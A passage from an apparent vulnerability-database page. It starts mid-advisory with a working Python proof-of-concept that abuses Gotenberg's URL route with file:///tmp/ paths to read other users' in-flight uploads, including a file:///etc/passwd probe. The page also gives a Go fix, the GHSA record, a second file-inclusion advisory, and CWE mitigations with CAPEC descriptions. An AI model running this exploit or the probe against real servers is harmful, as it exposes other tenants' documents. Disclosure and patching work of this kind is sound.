docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. waitDelay=15s stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):
import requests, threading, time, subprocess, re
TARGET = "http://localhost:3000"
SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}"
bob_html = f"<html><body><h1>{SECRET}</h1></body></html>".encode()
def bob_runs():
requests.post(
f"{TARGET}/forms/chromium/convert/html",
files={"files": ("index.html", bob_html, "text/html")},
data={"waitDelay": "15s"},
timeout=60,
)
def alice_reads(url):
r = requests.post(
f"{TARGET}/forms/chromium/convert/url",
files={"url": (None, url)}, timeout=30,
)
if r.status_code != 200: return None
open("/tmp/_alice.pdf", "wb").write(r.content)
return subprocess.run(
["pdftotext", "/tmp/_alice.pdf", "-"],
capture_output=True, text=True,
).stdout
threading.Thread(target=bob_runs, daemon=True).start()
time.sleep(2)
# Step 1: list /tmp/ to discover the gotenberg work UUID
tmp = alice_reads("file:///tmp/")
work = re.search(r"([0-9a-f-]{36})", tmp).group(1)
# Step 2: walk into the work dir to find an in-flight request dir
wd = alice_reads(f"file:///tmp/{work}/")
for req in re.findall(r"([0-9a-f-]{36})", wd):
if req == work: continue
rd = alice_reads(f"file:///tmp/{work}/{req}/")
if rd and (m := re.search(r"([0-9a-f-]{36}\.html)", rd)):
# Step 3: read bob's uploaded HTML
txt = alice_reads(f"file:///tmp/{work}/{req}/{m.group(1)}")
print("SECRET recovered:", SECRET in txt)
break
# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)
r = requests.post(f"{TARGET}/forms/chromium/convert/url",
files={"url": (None, "file:///etc/passwd")}, timeout=30)
print(f"/etc/passwd probe: HTTP {r.status_code}") # 403 Forbidden
Output against gotenberg 8.31.0:
SECRET recovered: True
/etc/passwd probe: HTTP 403
file:///tmp/ directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit waitDelay) widen the window from milliseconds to seconds.
Impact
An unauthenticated caller enumerates /tmp/ on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.
The deny-list regex holds for paths outside /tmp/. file:///etc/passwd, file:///proc/self/environ, and similar targets return HTTP 403. The primitive is scoped to /tmp/, not arbitrary filesystem read.
Recommended Fix
Remove the len(options.allowedFilePrefixes) > 0 condition at pkg/modules/chromium/events.go:65 so URL routes block every file:// sub-resource by default:
if allow && strings.HasPrefix(e.Request.URL, "file://") {
if len(options.allowedFilePrefixes) == 0 {
allow = false
} else {
prefixMatch := false
for _, prefix := range options.allowedFilePrefixes {
if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
prefixMatch = true
break
}
}
if !prefixMatch {
allow = false
}
}
}
Equivalent alternative: reject non-http/https schemes in the URL route handlers (convertUrlRoute, screenshotUrlRoute) before handing the URL to Chromium.
Found by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.31.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.32.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v7"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "7.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42597"
],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T01:15:47Z",
"nvd_published_at": "2026-05-14T16:16:23Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes accept `url=file:///tmp/...` from anonymous callers. The default Chromium deny-list intentionally exempts `file:///tmp/` so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request `AllowedFilePrefixes` guard to scope the read. The URL routes never set `AllowedFilePrefixes`, so the scope guard silently skips. Alice enumerates `/tmp/`, walks Gotenberg\u0027s per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.\n\n## Details\n\nThe default deny-list regex at `pkg/modules/chromium/chromium.go:449` uses a negative lookahead to exempt `/tmp/`:\n\n```go\nfs.StringSlice(\"chromium-deny-list\",\n []string{`^file:(?!//\\/tmp/).*`},\n \"Set the denied URLs for Chromium using regular expressions - supports multiple values\")\n```\n\n`pkg/gotenberg/outbound.go:185-187` short-circuits IP validation for non-HTTP schemes:\n\n```go\nif !httpLikeScheme(parsed.Scheme) {\n return outboundDecision{}, nil\n}\n```\n\nSo any `file:///tmp/...` URL passes `FilterOutboundURL` cleanly.\n\nThe HTML route pairs the exemption with a per-request scope guard (`pkg/modules/chromium/routes.go:518`):\n\n```go\noptions.AllowedFilePrefixes = []string{ctx.DirPath()}\n```\n\nand the CDP `Fetch.requestPaused` handler enforces the scope (`pkg/modules/chromium/events.go:65-78`):\n\n```go\nif allow \u0026\u0026 strings.HasPrefix(e.Request.URL, \"file://\") \u0026\u0026 len(options.allowedFilePrefixes) \u003e 0 {\n prefixMatch := false\n for _, prefix := range options.allowedFilePrefixes {\n if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n prefixMatch = true\n break\n }\n }\n if !prefixMatch {\n allow = false\n }\n}\n```\n\nThe `len(options.allowedFilePrefixes) \u003e 0` condition skips the entire enforcement block when the slice is empty. The URL route handler at `pkg/modules/chromium/routes.go:406-448` (`convertUrlRoute`) never populates `AllowedFilePrefixes`. `MandatoryString(\"url\", \u0026url)` takes the form value without scheme validation and passes it to `convertUrl` \u2192 `chromium.Pdf` \u2192 Chromium navigation.\n\nGotenberg stores uploaded request assets at `/tmp/\u003cgotenberg-work-uuid\u003e/\u003crequest-uuid\u003e/\u003cfile-uuid\u003e.\u003cext\u003e` (`pkg/gotenberg/fs.go:64-65`). Chromium renders the targeted `file://` URL as a PDF and the response body returns to the caller.\n\n## Proof of Concept\n\nReproduction uses the stock Docker image with no auth:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n```\n\nPython script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. `waitDelay=15s` stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):\n\n```python\nimport requests, threading, time, subprocess, re\nTARGET = \"http://localhost:3000\"\nSECRET = f\"BOB-CROSS-REQ-LEAK-{int(time.time())}\"\n\nbob_html = f\"\u003chtml\u003e\u003cbody\u003e\u003ch1\u003e{SECRET}\u003c/h1\u003e\u003c/body\u003e\u003c/html\u003e\".encode()\n\ndef bob_runs():\n requests.post(\n f\"{TARGET}/forms/chromium/convert/html\",\n files={\"files\": (\"index.html\", bob_html, \"text/html\")},\n data={\"waitDelay\": \"15s\"},\n timeout=60,\n )\n\ndef alice_reads(url):\n r = requests.post(\n f\"{TARGET}/forms/chromium/convert/url\",\n files={\"url\": (None, url)}, timeout=30,\n )\n if r.status_code != 200: return None\n open(\"/tmp/_alice.pdf\", \"wb\").write(r.content)\n return subprocess.run(\n [\"pdftotext\", \"/tmp/_alice.pdf\", \"-\"],\n capture_output=True, text=True,\n ).stdout\n\nthreading.Thread(target=bob_runs, daemon=True).start()\ntime.sleep(2)\n\n# Step 1: list /tmp/ to discover the gotenberg work UUID\ntmp = alice_reads(\"file:///tmp/\")\nwork = re.search(r\"([0-9a-f-]{36})\", tmp).group(1)\n\n# Step 2: walk into the work dir to find an in-flight request dir\nwd = alice_reads(f\"file:///tmp/{work}/\")\nfor req in re.findall(r\"([0-9a-f-]{36})\", wd):\n if req == work: continue\n rd = alice_reads(f\"file:///tmp/{work}/{req}/\")\n if rd and (m := re.search(r\"([0-9a-f-]{36}\\.html)\", rd)):\n # Step 3: read bob\u0027s uploaded HTML\n txt = alice_reads(f\"file:///tmp/{work}/{req}/{m.group(1)}\")\n print(\"SECRET recovered:\", SECRET in txt)\n break\n\n# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)\nr = requests.post(f\"{TARGET}/forms/chromium/convert/url\",\n files={\"url\": (None, \"file:///etc/passwd\")}, timeout=30)\nprint(f\"/etc/passwd probe: HTTP {r.status_code}\") # 403 Forbidden\n```\n\nOutput against gotenberg 8.31.0:\n\n```\nSECRET recovered: True\n/etc/passwd probe: HTTP 403\n```\n\n`file:///tmp/` directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim\u0027s request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit `waitDelay`) widen the window from milliseconds to seconds.\n\n## Impact\n\nAn unauthenticated caller enumerates `/tmp/` on the Gotenberg host and reads the raw source files of other users\u0027 conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim\u0027s request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.\n\nThe deny-list regex holds for paths outside `/tmp/`. `file:///etc/passwd`, `file:///proc/self/environ`, and similar targets return HTTP 403. The primitive is scoped to `/tmp/`, not arbitrary filesystem read.\n\n## Recommended Fix\n\nRemove the `len(options.allowedFilePrefixes) \u003e 0` condition at `pkg/modules/chromium/events.go:65` so URL routes block every `file://` sub-resource by default:\n\n```go\nif allow \u0026\u0026 strings.HasPrefix(e.Request.URL, \"file://\") {\n if len(options.allowedFilePrefixes) == 0 {\n allow = false\n } else {\n prefixMatch := false\n for _, prefix := range options.allowedFilePrefixes {\n if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n prefixMatch = true\n break\n }\n }\n if !prefixMatch {\n allow = false\n }\n }\n}\n```\n\nEquivalent alternative: reject non-`http`/`https` schemes in the URL route handlers (`convertUrlRoute`, `screenshotUrlRoute`) before handing the URL to Chromium.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-g924-cjx7-2rjw",
"modified": "2026-07-21T14:34:24Z",
"published": "2026-05-07T01:15:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-g924-cjx7-2rjw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42597"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme"
}
GHSA-GCH6-MVXW-6R79
Vulnerability from github – Published: 2024-12-09 06:30 – Updated: 2024-12-09 06:30A vulnerability was found in SourceCodester Best House Rental Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument page leads to file inclusion. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2024-12357"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-09T05:15:06Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in SourceCodester Best House Rental Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument page leads to file inclusion. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-gch6-mvxw-6r79",
"modified": "2024-12-09T06:30:56Z",
"published": "2024-12-09T06:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12357"
},
{
"type": "WEB",
"url": "https://pastebin.com/Qupf8YbH"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.287276"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.287276"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.457505"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.